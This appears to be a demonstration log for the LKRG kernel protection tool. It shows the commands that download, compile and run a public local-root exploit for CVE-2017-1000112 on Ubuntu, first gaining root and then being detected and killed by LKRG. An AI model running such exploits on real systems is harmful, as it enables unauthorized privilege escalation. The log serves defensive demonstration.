login as: pi3 pi3@192.168.1.30's password: Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.8.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage 143 packages can be updated. 60 updates are security updates. Unable to get valid context for pi3 Last login: Fri Feb 9 21:16:57 2018 from 192.168.1.18 pi3@pi3-ubuntu:~$ mkdir CVE-2017-1000112 pi3@pi3-ubuntu:~$ cd CVE-2017-1000112 pi3@pi3-ubuntu:~/CVE-2017-1000112$ wget https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c --2018-02-09 21:18:24-- https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.52.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.52.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 22886 (22K) [text/plain] Saving to: ‘poc.c’ poc.c 100%[============================================================================>] 22.35K --.-KB/s in 0.01s 2018-02-09 21:18:24 (1.61 MB/s) - ‘poc.c’ saved [22886/22886] pi3@pi3-ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poc pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc [.] starting [.] checking distro and kernel versions [.] kernel version '4.8.0-52-generic' detected [~] done, versions looks good [.] checking SMEP and SMAP [~] done, looks good [.] setting up namespace sandbox [~] done, namespace sandbox set up [.] KASLR bypass enabled, getting kernel addr [~] done, kernel text: ffffffff82a00000 [.] commit_creds: ffffffff82aa5d00 [.] prepare_kernel_cred: ffffffff82aa60f0 [.] SMEP bypass enabled, mmapping fake stack [~] done, fake stack mmapped [.] executing payload ffffffff82a17c55 [~] done, should be root now [.] checking if we got root [+] got r00t ^_^ root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# id uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0 root@pi3-ubuntu:/home/pi3/CVE-2017-1000112# exit exit pi3@pi3-ubuntu:~/CVE-2017-1000112$
If LKRG is installed, exploitation process is detected and successfully stopped:
pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$ ./poc [.] starting [.] checking distro and kernel versions [.] kernel version '4.8.0-52-generic' detected [~] done, versions looks good [.] checking SMEP and SMAP [~] done, looks good [.] setting up namespace sandbox [~] done, namespace sandbox set up [.] KASLR bypass enabled, getting kernel addr [~] done, kernel text: ffffffff82a00000 [.] commit_creds: ffffffff82aa5d00 [.] prepare_kernel_cred: ffffffff82aa60f0 [.] SMEP bypass enabled, mmapping fake stack [~] done, fake stack mmapped [.] executing payload ffffffff82a17c55 [~] done, should be root now [.] checking if we got root Killed pi3@pi3-ubuntu:~/CVE-2017-1000112$ id uid=1000(pi3) gid=1000(pi3) groups=1000(pi3),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0 pi3@pi3-ubuntu:~/CVE-2017-1000112$
Detection Window:
If LKRG is installed, exploitation process is detected and successfully stopped:
Feb 9 21:20:33 pi3-ubuntu kernel: [ 228.864932] [p_lkrg] Loading LKRG... Feb 9 21:20:34 pi3-ubuntu kernel: [ 229.159677] [p_lkrg] LKRG initialized successfully! Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372066] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180] Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372104] [p_lkrg] <Exploit Detection> Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180] Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372137] [p_lkrg] <Exploit Detection> process[2399 | poc] has different UID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372155] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372174] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372192] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSUID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372210] [p_lkrg] <Exploit Detection> process[2399 | poc] has different GID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372228] [p_lkrg] <Exploit Detection> process[2399 | poc] has different EGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372247] [p_lkrg] <Exploit Detection> process[2399 | poc] has different SGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372265] [p_lkrg] <Exploit Detection> process[2399 | poc] has different FSGID! 1000 vs 0 Feb 9 21:20:40 pi3-ubuntu kernel: [ 235.372284] [p_lkrg] <Exploit Detection> Trying to kill process[poc | 2399]!
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